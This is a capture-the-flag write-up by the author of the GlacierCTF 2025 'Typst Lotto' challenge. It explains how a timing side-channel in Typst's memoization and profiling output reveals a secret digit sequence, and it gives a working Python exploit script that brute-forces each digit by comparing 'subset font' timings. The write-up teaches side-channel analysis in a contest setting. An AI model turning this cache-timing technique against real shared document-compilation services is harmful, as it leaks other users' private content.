GlacierCTF2025 - Typst Lotto

Author: Ernesto Martínez García

Tags: 0015 ctf misc

Typst lotto is a misc challenge I authored in GlacierCTF 2025. Some hours before the CTF end it had 20 solves.

In this challenge you get an instance that runs typst watch. Then, an “admin” compiles documents with random numbers. After the admin has compiled the document with a random number, the player can further compile documments. The goal is to recover the secret sequence that the admin wrote (15 random numbers from 0 to 9).

The solution here is an easy timing side-channel on the Typst memoization engine. The challenge provides the flamegraph (timings) of typst watch which we can use to measure the time each function takes when building the document. Typst memoizes a lot, that’s one of the reasons its so fast. From a local testing environment, we can observe that if we compile a random secret number and then we compile documents for all possible numbers, one of them is faster.

Note: you can visualize the timings on https://ui.perfetto.dev

For example, this is the flamegraph of the wrong number:

This is the flamegraph for a correct number:

Functions under the pdf section are much shorter on the correct one, as they are cached. On the attached image it does not show that well, but on a wrong number “write fonts” takes 1.832ms, while for the correct number it takes 43.01µs.

We can make use of this timing side-channel to obtain the correct numbers.

There can also be the case where its empty (or almost empty IIRC), signaling that typst did not compile as our previous compilation (or N past compilations) already had the exact same input file. In that case, if I remember correctly, you observe that the returned json is much shorter (calls much less functions).

Soo, for each admin-generated number, you iterate through 0-9 and try to compile an equivalent document, capturing the timing traces to measure the timing differences between correct and incorrect ones.

Give or take, the exploit looks like this:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
built_counter = -1

ADMIN_DOCUMENT = """
{input1}{input2}
"""

def upload(n: int, j: int):
    global built_counter
    d = ADMIN_DOCUMENT.format(input1=j,input2=n).encode()
    io.sendlineafter(b"[>] Choose an option:", str(1).encode())
    enc = base64.b64encode(d)
    io.sendlineafter(b"--- BASE64 INPUT START ---", enc)
    io.sendline(b"@")
    io.recvuntil(b"--- BASE64 INPUT END ---")
    io.recvuntil(b"Document built")
    built_counter += 1

def download():
    global built_counter
    dfile = f"profile/{built_counter}.json".encode()
    io.sendlineafter(b"[>] Choose an option:", str(2).encode())
    io.sendlineafter(b"[>] Choose a file to download", dfile)
    io.recvuntil(b"[+] --- " + dfile + b" OUTPUT START ---")
    out = io.recvuntil(b"[+] --- " + dfile + b" OUTPUT END ---")
    out = out.split(b"[+]")[0].decode()
    j = json.loads(out)
    io.recvuntil(b"[+] Menu")
    return j, out

def extract_subset_font(j):
    # Cached file by hash
    if len(j) < 42:
        return 0

    s1 = j[41]
    assert(s1['name'] == 'subset font')
    assert(s1['ph'] == 'B')
    s2 = j[42]
    assert(s2['name'] == 'subset font')
    assert(s2['ph'] == 'E')
    dif = float(s2['ts']) - float(s1['ts'])
    return round(dif, 3)

def cont():
    io.sendlineafter(b"3. Continue", b"3")

def lt(num):
    return (num < 100) and (num > 0)

DIFFICULTY = 15
space = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9]
io = None

def exploit():
    global built_counter
    global io
    built_counter = -1
    io = start()

    for i in range(DIFFICULTY):
        built_counter += 2
        log.info(f"Iteration {i} of {DIFFICULTY}")
        guess = {}
        for s in space:
            upload(s, i)
            j, d = download()
            t = extract_subset_font(j)
            guess[s] = t
            print(f"  {s}: {t}")

        if min(guess.values()) > 100 or len(list(filter(lt,guess.values()))) > 1:
            log.warn("Restarting... results no bueno")
            io.close()
            exploit() # brrr ez restart

        cont()

        m = min(guess, key=guess.get)
        log.success(f"Guessed character is {m}")

        io.sendlineafter(b"[>] Take a guess: ", str(m).encode())
        io.recvuntil(b"[+] Keep going...")

    f = find_flag(io.recvall(timeout=5))
    if f is not None:
        log.success(f)
        exit(0)
    else:
        exit(1)

exploit()

The exploit is not reliable 100%, probably it can get more reliable with some extra effort.

Also for us it solves kinda fast :)